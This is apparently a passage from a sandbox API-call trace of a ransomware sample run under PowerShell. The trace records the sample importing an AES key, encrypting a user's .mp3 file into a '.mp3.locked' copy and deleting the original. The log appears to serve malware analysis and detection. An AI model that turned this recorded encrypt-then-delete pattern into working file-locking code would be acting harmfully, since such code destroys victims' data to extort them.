(param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.748] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.748] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.748] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.749] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.749] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.749] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.749] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.749] SystemFunction041 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SystemFunction040 (in: Memory=0x438329c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438329c) returned 0x0 [0133.749] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.749] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.750] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.750] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.750] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396a38) returned 1 [0133.751] CryptImportKey (in: hProv=0x4396a38, pbData=0x69ef46c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84fb8) returned 1 [0133.751] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.751] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.751] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.751] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.752] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.752] GetFileType (hFile=0x858) returned 0x1 [0133.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.752] GetFileType (hFile=0x858) returned 0x1 [0133.752] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="က牺") returned 0x0 [0133.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.753] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.753] GetFileType (hFile=0x874) returned 0x1 [0133.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.753] GetFileType (hFile=0x874) returned 0x1 [0133.753] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.753] CryptGenRandom (in: hProv=0x4396a38, dwLen=0x10, pbBuffer=0x6a07be4 | out: pbBuffer=0x6a07be4) returned 1 [0133.753] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.753] CryptDuplicateKey (in: hKey=0x8e84fb8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84cf8) returned 1 [0133.753] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.753] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x4, pbData=0x6a08ea0*=0x1, dwFlags=0x0) returned 1 [0133.753] CryptSetKeyParam (hKey=0x8e84cf8, dwParam=0x1, pbData=0x6a08e6c, dwFlags=0x0) returned 1 [0133.753] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf480\x437\x242") returned 0x0 [0133.754] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.754] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a20408*, pdwDataLen=0x99ae79c*=0x13810, dwBufLen=0x13810 | out: pbData=0x6a20408*, pdwDataLen=0x99ae79c*=0x13810) returned 1 [0133.754] WriteFile (in: hFile=0x874, lpBuffer=0x6a07ca4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a07ca4*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.755] WriteFile (in: hFile=0x874, lpBuffer=0x6a213f4*, nNumberOfBytesToWrite=0x12824, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a213f4*, lpNumberOfBytesWritten=0x99ae780*=0x12824, lpOverlapped=0x0) returned 1 [0133.756] ReadFile (in: hFile=0x858, lpBuffer=0x6a0c3fc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a0c3fc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.756] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a33c3c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a33c3c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.756] CryptEncrypt (in: hKey=0x8e84cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a33c70*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a33c70*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.756] WriteFile (in: hFile=0x874, lpBuffer=0x6a07ca4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a07ca4*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.756] CloseHandle (hObject=0x874) returned 1 [0133.759] CloseHandle (hObject=0x858) returned 1 [0133.759] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.760] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.760] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.760] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.760] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.760] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.760] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.761] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.761] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.761] CoTaskMemFree (pv=0x8eb8930) [0133.762] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3")) returned 0x20 [0133.762] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", lpFilePart=0x0) returned 0x48 [0133.762] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", lpFilePart=0x0) returned 0x48 [0133.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.762] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6a4a14c | out: lpFileInformation=0x6a4a14c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b1ba20, ftCreationTime.dwHighDateTime=0x1d49f5a, ftLastAccessTime.dwLowDateTime=0xc85cbdd0, ftLastAccessTime.dwHighDateTime=0x1d4ad5a, ftLastWriteTime.dwLowDateTime=0xc85cbdd0, ftLastWriteTime.dwHighDateTime=0x1d4ad5a, nFileSizeHigh=0x0, nFileSizeLow=0x13812)) returned 1 [0133.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.763] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3")) returned 1 [0133.764] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.764] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.764] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.764] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd6, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.764] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.765] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3.locked")) returned 0x20 [0133.766] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xebdzg2qrmg--2hbsrnm.mp3.locked")) returned 0x20 [0133.766] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", lpFilePart=0x0) returned 0x4f [0133.766] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3.locked", lpFilePart=0x0) returned 0x4f [0133.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.766] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\xeBdZg2QrMG--2HBSRnm.mp3", lpFilePart=0x0) returned 0x48 [0133.766] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.766] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.766] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.768] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.770] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.770] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.770] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.770] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.770] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.771] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.771] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.771] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.772] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.772] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.773] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xda, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.773] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.773] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xdb, [1]=0x19, 